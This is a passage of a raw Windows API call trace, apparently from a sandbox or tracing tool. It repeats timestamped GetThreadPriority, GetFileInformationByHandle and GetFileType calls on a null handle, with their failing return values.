2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.864] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.864] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.864] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.865] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.865] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.865] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.873] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.873] GetFileType (hFile=0x0) returned 0x0 [0155.873] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.874] GetFileType (hFile=0x0) returned 0x0 [0155.874] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.874] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.875] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.875] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.875] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.876] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.876] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.876] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 